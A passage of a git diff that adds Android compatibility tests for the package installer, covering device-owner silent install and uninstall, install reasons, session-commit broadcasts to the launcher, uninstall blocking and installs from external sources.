+                } else if (mCallbackStatus == PackageInstaller.STATUS_PENDING_USER_ACTION) {
+                    mCallbackIntent = (Intent) intent.getExtras().get(Intent.EXTRA_INTENT);
+                }
+                mCallbackReceived = true;
+                mPackageInstallerTimeoutLock.notify();
+            }
+        }
+    };
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mContext = getInstrumentation().getContext();
+        mDevice = UiDevice.getInstance(getInstrumentation());
+        mDevicePolicyManager = (DevicePolicyManager)
+                mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
+        mPackageManager = mContext.getPackageManager();
+        mPackageInstaller = mPackageManager.getPackageInstaller();
+        assertNotNull(mPackageInstaller);
+
+        mHasFeature = mPackageManager.hasSystemFeature(PackageManager.FEATURE_DEVICE_ADMIN);
+
+        if (mHasFeature) {
+            forceUninstall();
+            // check that app is not already installed
+            assertFalse(isPackageInstalled(TEST_APP_PKG));
+        }
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (mDevicePolicyManager.isDeviceOwnerApp(PACKAGE_NAME) ||
+                mDevicePolicyManager.isProfileOwnerApp(PACKAGE_NAME)) {
+            mDevicePolicyManager.setUninstallBlocked(getWho(), TEST_APP_PKG, false);
+        }
+        try {
+            mContext.unregisterReceiver(mBroadcastReceiver);
+        } catch (IllegalArgumentException e) {
+            // ignore
+        }
+        if (mSession != null) {
+            mSession.abandon();
+        }
+
+        super.tearDown();
+    }
+
+    protected static ComponentName getWho() {
+        return new ComponentName(PACKAGE_NAME, BasicAdminReceiver.class.getName());
+    }
+
+    protected void assertInstallPackage() throws Exception {
+        assertFalse(isPackageInstalled(TEST_APP_PKG));
+        synchronized (mPackageInstallerTimeoutLock) {
+            mCallbackReceived = false;
+            mCallbackStatus = PACKAGE_INSTALLER_STATUS_UNDEFINED;
+        }
+        installPackage(TEST_APP_LOCATION);
+        synchronized (mPackageInstallerTimeoutLock) {
+            try {
+                mPackageInstallerTimeoutLock.wait(PACKAGE_INSTALLER_TIMEOUT_MS);
+            } catch (InterruptedException e) {
+            }
+            assertTrue(mCallbackReceived);
+            assertEquals(PackageInstaller.STATUS_SUCCESS, mCallbackStatus);
+        }
+        assertTrue(isPackageInstalled(TEST_APP_PKG));
+    }
+
+    protected boolean tryUninstallPackage() throws Exception {
+        assertTrue(isPackageInstalled(TEST_APP_PKG));
+        synchronized (mPackageInstallerTimeoutLock) {
+            mCallbackReceived = false;
+            mCallbackStatus = PACKAGE_INSTALLER_STATUS_UNDEFINED;
+        }
+        mPackageInstaller.uninstall(TEST_APP_PKG, getCommitCallback(0));
+        synchronized (mPackageInstallerTimeoutLock) {
+            try {
+                mPackageInstallerTimeoutLock.wait(PACKAGE_INSTALLER_TIMEOUT_MS);
+            } catch (InterruptedException e) {
+            }
+            assertTrue(mCallbackReceived);
+            return mCallbackStatus == PackageInstaller.STATUS_SUCCESS;
+        }
+    }
+
+    protected void installPackage(String packageLocation) throws Exception {
+        PackageInstaller.SessionParams params = new PackageInstaller.SessionParams(
+                PackageInstaller.SessionParams.MODE_FULL_INSTALL);
+        params.setAppPackageName(TEST_APP_PKG);
+        int sessionId = mPackageInstaller.createSession(params);
+        mSession = mPackageInstaller.openSession(sessionId);
+
+        File file = new File(packageLocation);
+        InputStream in = new FileInputStream(file);
+        OutputStream out = mSession.openWrite("SilentPackageInstallerTest", 0, file.length());
+        byte[] buffer = new byte[65536];
+        int c;
+        while ((c = in.read(buffer)) != -1) {
+            out.write(buffer, 0, c);
+        }
+        mSession.fsync(out);
+        out.close();
+        mSession.commit(getCommitCallback(sessionId));
+        mSession.close();
+    }
+
+    private IntentSender getCommitCallback(int sessionId) {
+        // Create an intent-filter and register the receiver
+        String action = ACTION_INSTALL_COMMIT + "." + sessionId;
+        IntentFilter intentFilter = new IntentFilter();
+        intentFilter.addAction(action);
+        mContext.registerReceiver(mBroadcastReceiver, intentFilter);
+
+        // Create a PendingIntent and use it to generate the IntentSender
+        Intent broadcastIntent = new Intent(action);
+        PendingIntent pendingIntent = PendingIntent.getBroadcast(
+                mContext,
+                sessionId,
+                broadcastIntent,
+                PendingIntent.FLAG_UPDATE_CURRENT);
+        return pendingIntent.getIntentSender();
+    }
+
+    protected boolean isPackageInstalled(String packageName) {
+        try {
+            PackageInfo pi = mPackageManager.getPackageInfo(packageName, 0);
+            return pi != null;
+        } catch (PackageManager.NameNotFoundException e) {
+            return false;
+        }
+    }
+
+    protected int getInstallReason(String packageName) {
+        return mPackageManager.getInstallReason(packageName, Process.myUserHandle());
+    }
+
+    protected void forceUninstall() throws Exception {
+        runShellCommand("pm uninstall " + TEST_APP_PKG);
+    }
+
+    public ArrayList<String> runShellCommand(String command) throws Exception {
+        ParcelFileDescriptor pfd = getInstrumentation().getUiAutomation()
+                .executeShellCommand(command);
+
+        ArrayList<String> ret = new ArrayList<>();
+        // Read the input stream fully.
+        try (BufferedReader r = new BufferedReader(
+                new InputStreamReader(new ParcelFileDescriptor.AutoCloseInputStream(pfd)))) {
+            String line;
+            while ((line = r.readLine()) != null) {
+                ret.add(line);
+            }
+        }
+        return ret;
+    }
+}
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/BasicAdminReceiver.java b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/BasicAdminReceiver.java
new file mode 100644
index 0000000..4c631e0
--- /dev/null
+++ b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/BasicAdminReceiver.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.packageinstaller.admin.cts;
+
+import android.app.admin.DeviceAdminReceiver;
+
+public class BasicAdminReceiver extends DeviceAdminReceiver {
+}
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/InstallReasonTest.java b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/InstallReasonTest.java
new file mode 100644
index 0000000..0129520
--- /dev/null
+++ b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/InstallReasonTest.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.packageinstaller.admin.cts;
+
+import android.content.pm.PackageManager;
+
+/**
+ * This class tests that the install reason is correctly recorded for packages.
+ */
+public class InstallReasonTest extends BasePackageInstallTest {
+    public void testInstallReason() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        // Verify that since the Device Owner was sideloaded, its install reason is unknown.
+        assertEquals(PackageManager.INSTALL_REASON_UNKNOWN, getInstallReason(PACKAGE_NAME));
+
+        // Verify that when the Device Owner installs another package, its install reason is
+        // recorded as enterprise policy.
+        assertInstallPackage();
+        assertEquals(PackageManager.INSTALL_REASON_POLICY, getInstallReason(TEST_APP_PKG));
+        tryUninstallPackage();
+    }
+}
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/LauncherActivity.java b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/LauncherActivity.java
new file mode 100644
index 0000000..724531d
--- /dev/null
+++ b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/LauncherActivity.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.packageinstaller.admin.cts;
+
+import android.app.Activity;
+
+public class LauncherActivity extends Activity {
+}
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java
new file mode 100644
index 0000000..6f1244f
--- /dev/null
+++ b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.packageinstaller.admin.cts;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageInstaller;
+import android.content.pm.ResolveInfo;
+import android.os.Process;
+import android.os.UserHandle;
+import android.text.TextUtils;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * This class tests {@link PackageInstaller#ACTION_SESSION_COMMITTED} is properly sent to the
+ * launcher app.
+ */
+public class SessionCommitBroadcastTest extends BasePackageInstallTest {
+
+    private static final long BROADCAST_TIMEOUT_SECS = 20;
+
+    private ComponentName mDefaultLauncher;
+    private ComponentName mThisAppLauncher;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mDefaultLauncher = ComponentName.unflattenFromString(getDefaultLauncher());
+        mThisAppLauncher = new ComponentName(mContext, LauncherActivity.class);
+    }
+
+    public void testBroadcastReceivedForDifferentLauncher() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        if (mDefaultLauncher.equals(mThisAppLauncher)) {
+            // Find a different launcher
+            Intent homeIntent = new Intent(Intent.ACTION_MAIN)
+                    .addCategory(Intent.CATEGORY_HOME)
+                    .addCategory(Intent.CATEGORY_DEFAULT);
+            for (ResolveInfo info : mPackageManager.queryIntentActivities(homeIntent, 0)) {
+                mDefaultLauncher =
+                        new ComponentName(info.activityInfo.packageName, info.activityInfo.name);
+                if (!mDefaultLauncher.equals(mThisAppLauncher)) {
+                    setLauncher(mDefaultLauncher.flattenToString());
+                    break;
+                }
+            }
+        }
+
+        assertFalse("No default launcher found", mDefaultLauncher.equals(mThisAppLauncher));
+        SessionCommitReceiver receiver = new SessionCommitReceiver();
+        // install the app
+        assertInstallPackage();
+        // Broadcast not received
+        assertNull(receiver.blockingGetIntent());
+
+        tryUninstallPackage();
+    }
+
+    private void verifySessionIntent(Intent intent) {
+        assertNotNull(intent);
+        PackageInstaller.SessionInfo info = intent
+                .getParcelableExtra(PackageInstaller.EXTRA_SESSION);
+        assertEquals(TEST_APP_PKG, info.getAppPackageName());
+    }
+
+    public void testBroadcastReceivedForNewInstall() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        setLauncher(mThisAppLauncher.flattenToString());
+
+        SessionCommitReceiver receiver = new SessionCommitReceiver();
+        // install the app
+        assertInstallPackage();
+
+        verifySessionIntent(receiver.blockingGetIntent());
+
+        forceUninstall();
+        receiver = new SessionCommitReceiver();
+        assertInstallPackage();
+        verifySessionIntent(receiver.blockingGetIntent());
+
+        tryUninstallPackage();
+        // Revert to default launcher
+        setLauncher(mDefaultLauncher.flattenToString());
+    }
+
+    public void testBroadcastReceivedForEnablingApp() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        setLauncher(mThisAppLauncher.flattenToString());
+
+        ComponentName cn = new ComponentName(mContext, BasicAdminReceiver.class);
+        UserHandle user = mDevicePolicyManager.createAndManageUser(cn,
+                "Test User " + System.currentTimeMillis(), cn,
+                null, DevicePolicyManager.SKIP_SETUP_WIZARD);
+        int userId = user.getIdentifier();
+        assertTrue(TextUtils.join(" ", runShellCommand("am start-user " + userId))
+                .toLowerCase().contains("success"));
+
+        // Install app for the second user
+        assertTrue(TextUtils.join(" ", runShellCommand(
+                "pm install -r --user " + userId + "  " + TEST_APP_LOCATION))
+                .toLowerCase().contains("success"));
+
+        // Enable the app for this user
+        SessionCommitReceiver receiver = new SessionCommitReceiver();
+        runShellCommand("cmd package install-existing --user " +
+                Process.myUserHandle().getIdentifier() + "  " + TEST_APP_PKG);
+        verifySessionIntent(receiver.blockingGetIntent());
+
+        // Cleanup
+        setLauncher(mDefaultLauncher.flattenToString());
+        mDevicePolicyManager.removeUser(cn, user);
+        forceUninstall();
+    }
+
+    private String getDefaultLauncher() throws Exception {
+        final String PREFIX = "Launcher: ComponentInfo{";
+        final String POSTFIX = "}";
+        for (String s : runShellCommand("cmd shortcut get-default-launcher")) {
+            if (s.startsWith(PREFIX) && s.endsWith(POSTFIX)) {
+                return s.substring(PREFIX.length(), s.length() - POSTFIX.length());
+            }
+        }
+        throw new Exception("Default launcher not found");
+    }
+
+    private void setLauncher(String component) throws Exception {
+        runShellCommand("cmd package set-home-activity --user "
+                + getInstrumentation().getContext().getUserId() + " " + component);
+    }
+
+    private class SessionCommitReceiver extends BroadcastReceiver {
+
+        private final CountDownLatch mLatch = new CountDownLatch(1);
+        private Intent mIntent;
+
+        SessionCommitReceiver() {
+            mContext.registerReceiver(this,
+                    new IntentFilter(PackageInstaller.ACTION_SESSION_COMMITTED));
+        }
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            assertNull(mIntent);
+            mIntent = intent;
+            mLatch.countDown();
+        }
+
+        public Intent blockingGetIntent() throws Exception {
+            mLatch.await(BROADCAST_TIMEOUT_SECS, TimeUnit.SECONDS);
+            mContext.unregisterReceiver(this);
+            return mIntent;
+        }
+    }
+}
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SilentPackageInstallTest.java b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SilentPackageInstallTest.java
new file mode 100644
index 0000000..4c88b82
--- /dev/null
+++ b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SilentPackageInstallTest.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.packageinstaller.admin.cts;
+
+/**
+ * This class tests silent package install and uninstall by a device owner.
+ */
+public class SilentPackageInstallTest extends BasePackageInstallTest {
+    public void testSilentInstallUninstall() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        // install the app
+        assertInstallPackage();
+
+        // uninstall the app again
+        assertTrue(tryUninstallPackage());
+        assertFalse(isPackageInstalled(TEST_APP_PKG));
+    }
+
+    public void testUninstallBlocked() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        // install the app
+        assertInstallPackage();
+
+        mDevicePolicyManager.setUninstallBlocked(getWho(), TEST_APP_PKG, true);
+        assertTrue(mDevicePolicyManager.isUninstallBlocked(getWho(), TEST_APP_PKG));
+        assertTrue(mDevicePolicyManager.isUninstallBlocked(null, TEST_APP_PKG));
+        assertFalse(tryUninstallPackage());
+        assertTrue(isPackageInstalled(TEST_APP_PKG));
+
+        mDevicePolicyManager.setUninstallBlocked(getWho(), TEST_APP_PKG, false);
+        assertFalse(mDevicePolicyManager.isUninstallBlocked(getWho(), TEST_APP_PKG));
+        assertFalse(mDevicePolicyManager.isUninstallBlocked(null, TEST_APP_PKG));
+        assertTrue(tryUninstallPackage());
+        assertFalse(isPackageInstalled(TEST_APP_PKG));
+    }
+}
diff --git a/tests/tests/packageinstaller/emptytestapp/Android.mk b/tests/tests/packageinstaller/emptytestapp/Android.mk
new file mode 100644
index 0000000..c621852
--- /dev/null
+++ b/tests/tests/packageinstaller/emptytestapp/Android.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsEmptyTestApp
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SDK_VERSION := current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/packageinstaller/emptytestapp/AndroidManifest.xml b/tests/tests/packageinstaller/emptytestapp/AndroidManifest.xml
new file mode 100644
index 0000000..09af39e
--- /dev/null
+++ b/tests/tests/packageinstaller/emptytestapp/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.packageinstaller.emptytestapp.cts" >
+
+    <uses-sdk android:minSdkVersion="23" android:targetSdkVersion="26"/>
+
+    <application android:hasCode="false"
+                 android:label="Empty Test App"
+    />
+
+</manifest>
diff --git a/tests/tests/packageinstaller/externalsources/Android.mk b/tests/tests/packageinstaller/externalsources/Android.mk
new file mode 100755
index 0000000..805385a
--- /dev/null
+++ b/tests/tests/packageinstaller/externalsources/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_PACKAGE_NAME := CtsExternalSourcesTestCases
+
+LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/res
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := ub-uiautomator android-support-test android-support-v4
+
+LOCAL_SDK_VERSION := current
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_PACKAGE)
+
diff --git a/tests/tests/packageinstaller/externalsources/AndroidManifest.xml b/tests/tests/packageinstaller/externalsources/AndroidManifest.xml
new file mode 100755
index 0000000..33d1d6e
--- /dev/null
+++ b/tests/tests/packageinstaller/externalsources/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.packageinstaller.externalsources.cts" >
+
+    <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES" />
+
+    <application android:label="Cts External Sources Test">
+        <uses-library android:name="android.test.runner"/>
+        <provider android:authorities="android.packageinstaller.externalsources.cts.fileprovider"
+                  android:name="android.support.v4.content.FileProvider"
+                  android:grantUriPermissions="true">
+            <meta-data
+                android:name="android.support.FILE_PROVIDER_PATHS"
+                android:resource="@xml/file_paths" />
+        </provider>
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:functionalTest="true"
+                     android:targetPackage="android.packageinstaller.externalsources.cts"
+                     android:label="External App Sources Tests"/>
+</manifest>
diff --git a/tests/tests/packageinstaller/externalsources/AndroidTest.xml b/tests/tests/packageinstaller/externalsources/AndroidTest.xml
new file mode 100644
index 0000000..39d2d67
--- /dev/null
+++ b/tests/tests/packageinstaller/externalsources/AndroidTest.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<configuration description="Config for CTS External Sources test cases">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="mkdir -p /data/local/tmp/cts/externalsources" />
+        <option name="teardown-command" value="rm -rf /data/local/tmp/cts"/>
+    </target_preparer>
+
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="cleanup" value="true" />
+        <option name="push" value="CtsEmptyTestApp.apk->/data/local/tmp/cts/externalsources/CtsEmptyTestApp.apk" />
+    </target_preparer>
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsExternalSourcesTestCases.apk" />
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.packageinstaller.externalsources.cts" />
+        <option name="runtime-hint" value="1m" />
+    </test>
+
+</configuration>
diff --git a/tests/tests/packageinstaller/externalsources/res/xml/file_paths.xml b/tests/tests/packageinstaller/externalsources/res/xml/file_paths.xml
new file mode 100644
index 0000000..173435b
--- /dev/null
+++ b/tests/tests/packageinstaller/externalsources/res/xml/file_paths.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<paths xmlns:android="http://schemas.android.com/apk/res/android">
+    <files-path name="apk" path="/" />
+</paths>
\ No newline at end of file
diff --git a/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java b/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java
new file mode 100644
index 0000000..e10e278
--- /dev/null
+++ b/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java
@@ -0,0 +1,178 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.packageinstaller.externalsources.cts;
+
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.BySelector;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.Until;
+import android.support.v4.content.FileProvider;
+import android.util.Log;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+
+@RunWith(AndroidJUnit4.class)
+@MediumTest
+public class ExternalSourcesTest {
+
+    private static final String TAG = ExternalSourcesTest.class.getSimpleName();
+    private static final String TEST_APK_NAME = "CtsEmptyTestApp.apk";
+    private static final String TEST_APK_EXTERNAL_LOCATION = "/data/local/tmp/cts/externalsources";
+    private static final String CONTENT_AUTHORITY =
+            "android.packageinstaller.externalsources.cts.fileprovider";
+    private static final String PACKAGE_INSTALLER_PACKAGE_NAME = "com.android.packageinstaller";
+    private static final String INSTALL_CONFIRM_TEXT_ID = "install_confirm_question";
+    private static final String WM_DISMISS_KEYGUARD_COMMAND = "wm dismiss-keyguard";
+    private static final String ALERT_DIALOG_TITLE_ID = "android:id/alertTitle";
+
+    private static final long WAIT_FOR_UI_TIMEOUT = 5000;
+
+    private Context mContext;
+    private PackageManager mPm;
+    private Instrumentation mInstrumentation;
+    private String mPackageName;
+    private File mApkFile;
+    private UiDevice mUiDevice;
+
+    @BeforeClass
+    public static void setUpOnce() throws IOException {
+        File srcApkFile = new File(TEST_APK_EXTERNAL_LOCATION, TEST_APK_NAME);
+        File destApkFile = new File(InstrumentationRegistry.getTargetContext().getFilesDir(),
+                TEST_APK_NAME);
+        copyFile(srcApkFile, destApkFile);
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mPm = mContext.getPackageManager();
+        mPackageName = mContext.getPackageName();
+        mApkFile = new File(mContext.getFilesDir(), TEST_APK_NAME);
+        mUiDevice = UiDevice.getInstance(mInstrumentation);
+        if (!mUiDevice.isScreenOn()) {
+            mUiDevice.wakeUp();
+        }
+        mUiDevice.executeShellCommand(WM_DISMISS_KEYGUARD_COMMAND);
+    }
+
+    private static void copyFile(File srcFile, File destFile) throws IOException {
+        if (destFile.exists()) {
+            destFile.delete();
+        }
+        FileInputStream inputStream = new FileInputStream(srcFile);
+        FileOutputStream out = new FileOutputStream(destFile);
+        try {
+            byte[] buffer = new byte[4096];
+            int bytesRead;
+            while ((bytesRead = inputStream.read(buffer)) >= 0) {
+                out.write(buffer, 0, bytesRead);
+            }
+            Log.d(TAG, "copied file " + srcFile + " to " + destFile);
+        } finally {
+            out.flush();
+            try {
+                out.getFD().sync();
+            } catch (IOException e) {
+            }
+            out.close();
+            inputStream.close();
+        }
+    }
+
+    private void launchPackageInstaller() {
+        Intent intent = new Intent(Intent.ACTION_INSTALL_PACKAGE);
+        intent.setData(FileProvider.getUriForFile(mContext, CONTENT_AUTHORITY, mApkFile));
+        intent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
+        Log.d(TAG, "Starting intent with uri " + intent.getDataString());
+        mContext.startActivity(intent);
+    }
+
+    private void assertInstallAllowed(String errorMessage) {
+        BySelector selector = By.res(PACKAGE_INSTALLER_PACKAGE_NAME, INSTALL_CONFIRM_TEXT_ID);
+        UiObject2 uiObject = mUiDevice.wait(Until.findObject(selector), WAIT_FOR_UI_TIMEOUT);
+        Assert.assertNotNull(errorMessage, uiObject);
+        mUiDevice.pressBack();
+    }
+
+    private void assertInstallBlocked(String errorMessage) {
+        BySelector selector = By.res(ALERT_DIALOG_TITLE_ID);
